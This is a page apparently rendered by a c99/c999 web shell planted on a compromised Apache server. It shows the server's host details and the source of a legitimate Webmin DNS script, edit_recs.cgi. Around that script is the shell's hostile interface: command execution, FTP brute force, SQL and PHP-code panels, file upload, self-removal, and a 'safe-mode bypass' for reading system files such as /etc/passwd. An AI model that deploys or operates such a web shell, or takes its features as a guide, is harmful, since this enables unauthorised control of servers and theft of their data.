!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/dnsadmin/   drwxr-xr-x
Free 50.93 GB of 127.8 GB (39.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_recs.cgi (2.56 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# edit_recs.cgi
# Display records of some type from some domain

require './dns-lib.pl';
&ReadParse();
$conf = &get_config();
$zconf = $conf->[$in{'index'}];
$dom = $zconf->{'values'}->[0];
%access = &get_module_acl();
&can_edit_zone(\%access, $dom) ||
        &error("You are not allowed to edit records in this zone");
&header("$code_map{$in{'type'}} Records", "");
print "<center><font size=+2>In ",&arpa_to_ip($dom),"</font></center>\n";
print "<hr><p>\n";

$file = $zconf->{'values'}->[1];
&foreign_call("bind8", "record_input", $in{'index'}, undef, $in{'type'}, $file, $dom);
@recs = &read_zone_file($file, $dom);
@recs = grep { $_->{'type'} eq $in{'type'} } @recs;
if (@recs) {
    @recs = &sort_records(@recs);
        %hmap = ( "A", [ "Address" ],
                  "NS", [ "Name Server" ],
                  "CNAME", [ "Real Name" ],
                  "MX", [ "Priority", "Mail Server" ],
                  "HINFO", [ "Hardware", "Operating System" ],
                  "TXT", [ "Message" ],
                  "WKS", [ "Address", "Protocol", "Service" ],
                  "RP", [ "Email Address", "Text Record" ],
                  "PTR", [ "Hostname" ] );
        if ($in{'type'} =~ /HINFO|WKS|RP/) {
                &recs_table(@recs);
                }
        else {
                $mid = int((@recs+1)/2);
                print "<table width=100%><tr><td width=50% valign=top>\n";
                &recs_table(@recs[0 .. $mid-1]);
                print "</td><td width=50% valign=top>\n";
                if ($mid < @recs) { &recs_table(@recs[$mid .. $#recs]); }
                print "</td></tr></table><p>\n";
                }
        print "<p>\n";
        }
print &ui_hr();
&footer("edit_master.cgi?index=$in{'index'}", "record types");

sub recs_table
{
print "<table border width=100%>\n";
print "<tr $tb> <td><b>",$in{'type'} eq "PTR" ? "Address" : "Name",
      "</b></td> <td><b>TTL</b></td>\n";
@hmap = @{$hmap{$in{'type'}}};
foreach $h (@hmap) {
        print "<td><b>$h</b></td>\n";
        }
print "</tr>\n";
for($i=0; $i<@_; $i++) {
        $r = $_[$i];
        $name = &html_escape($in{'type'} eq "PTR" ? &arpa_to_ip($r->{'name'})
                          : $r->{'name'});
        print "<tr $cb> <td><a href=\"edit_record.cgi?index=",
              "$in{'index'}&type=$in{'type'}&num=$r->{'num'}\">$name",
              "</a></td>\n";
        print "<td>",$r->{'ttl'} ? $r->{'ttl'} : "Default","</td>\n";
        for($j=0; $j<@hmap; $j++) {
                print "<td>",&html_escape($r->{'values'}->[$j]),"</td>\n";
                }
        print "</tr>\n";
        }
print "</table>\n";
}


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0065 ]--